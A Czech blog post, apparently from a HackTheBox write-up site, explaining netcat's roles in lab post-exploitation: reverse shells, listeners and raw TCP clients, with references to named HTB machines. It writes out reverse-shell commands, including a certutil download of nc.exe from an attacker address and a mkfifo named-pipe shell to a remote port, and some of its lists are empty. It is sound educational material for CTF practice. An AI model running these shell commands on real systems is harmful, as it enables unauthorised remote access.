tom@home.htb:~$

Blog o HTB

28 November 2019

Netcat a nc

Úvod a kontext

netcat nebo zkráceně nc se v tomto projektu objevuje všude tam, kde je potřeba rychle přenést útok z křehkého prvního kroku do normálního pracovního shellu nebo kde stačí jednoduchá TCP komunikace bez složitého klienta. Není to exploit framework a není to nástroj na objevování zranitelností. Je to velmi univerzální transportní pomocník.

Na Develu, Buffu, Bankrobberu nebo RE slouží jako nejkratší cesta od command execution k reverznímu shellu. Na Nibbles, Schooled nebo SwagShopu řeší named-pipe shell na Linuxu tam, kde -e není k dispozici. Na PlayerTwo nebo Scavengeru se používá spíš jako jednoduchý TCP klient pro lokální službu. Právě tahle šíře je jeho praktická hodnota.

Co netcat v praxi řeší

netcat je jednoduchý TCP/UDP klient a listener. V místních rozborech odpovídá hlavně na tyto otázky:

Jeho síla není v bohatosti funkcí. Je v tom, že pro velkou část mezikroků v post-exploitation stačí právě obyčejný socket a nic víc.

Nejčastější scénáře využití v tomto projektu

Reverzní shell po prvním command execution

Na Develu nebo Buffu je role nástroje velmi čistá. Webshell nebo jednoduché RCE samy o sobě nejsou pohodlný pracovní kontext, takže dává smysl doručit nc.exe a přepnout se do normálního shellu:

certutil.exe -urlcache -split -f http://10.10.14.5:8000/exe/nc.exe c:\programdata\nc.exe
c:\programdata\nc.exe -e cmd 10.10.14.5 4000

Tady netcat neřeší původní zranitelnost. Jen z jednorázového kódu na hostu vytvoří pracovní shell, se kterým už jde normálně dělat další enumerace a privesc.

Podobně funguje i na Bankrobberu, Arkhamu nebo RE, kde jde vždy o stejný pattern:

Listener na útočníkově straně

V mnoha rozborech netcat vystupuje i z druhé strany jako nejjednodušší listener:

netcat -lvp 4000

To je prakticky důležité hlavně proto, že většina řetězců nepotřebuje plný session manager. Potřebuje jen:

Tady se netcat výborně doplňuje s nástroji typu certutil nebo Metasploit: msfconsole a msfvenom. Pokud není potřeba handler, netcat bývá jednodušší a rychlejší.

Named-pipe shell na Linuxu

Na Linuxu často narazíte na variantu, kde nc nemá přepínač -e nebo je dostupná jiná implementace. V takové chvíli se v projektu opakuje named-pipe pattern:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.22 4000 > /tmp/f

To je dobře vidět třeba na Nibbles, Schooled, Boltu, Luanne nebo SwagShopu.

Praktická hodnota je zřejmá:

Jednoduchý raw TCP klient pro lokální služby

Na Scavengeru se nc používá k ruční obsluze lokální SMTP služby. Na PlayerTwo pomáhá napojit stdin/stdout na lokální SUID helper přes pojmenovanou rouru. Na Bankrobberu se přes nc.exe osahává interní port 910.

To je další praktická role, která se snadno přehlédne. netcat není jen shell nástroj. Je to často nejrychlejší způsob, jak:

Kdy je netcat nejlepší volba

Největší smysl dává tehdy, když:

V těchto situacích bývá praktičtější než těžší framework nebo vlastní skript.

Co netcat neumí vyřešit za vás

netcat:

Na Develu ho musí předcházet webshell. Na RE dokumentová pipeline. Na Doctoru vzdálené doručení Splunk appky. netcat řeší transport posledního kroku, ne jeho příčinu.

Nejčastější chyby při použití

Záměna shell payloadu za samotný exploit

Na mnoha hostech se snadno začne mluvit o “netcat exploitu”, ale příčinou bývá vždy něco jiného:

Ignorování rozdílu mezi implementacemi

Ne každé nc podporuje stejné přepínače. Právě proto se v projektu opakují i varianty s mkfifo, které jsou přenositelnější než slepá důvěra v -e.

Použití tam, kde je potřeba víc než jen socket

Jakmile potřebujete:

pak může být praktičtější jiný nástroj. netcat je silný právě svou jednoduchostí.

Nejčastější praktické scénáře

Potřebuji převést první command execution na interaktivní shell

To je Devel, Buff, Bankrobber nebo RE.

Potřebuji jednoduchý listener na reverzní shell

To je prakticky velká část linuxových i windowsových rozborů.

Potřebuji mluvit s jednoduchou lokální TCP službou nebo propojit proces se socketem

To je Scavenger, PlayerTwo nebo části Bankrobberu.

Související články v projektu

Co si odnést do praxe

Další Související Články V Projektu

Techniky

Nástroje

tags: nastroje - shells - listeners - tcp - file-transfer - post-exploitation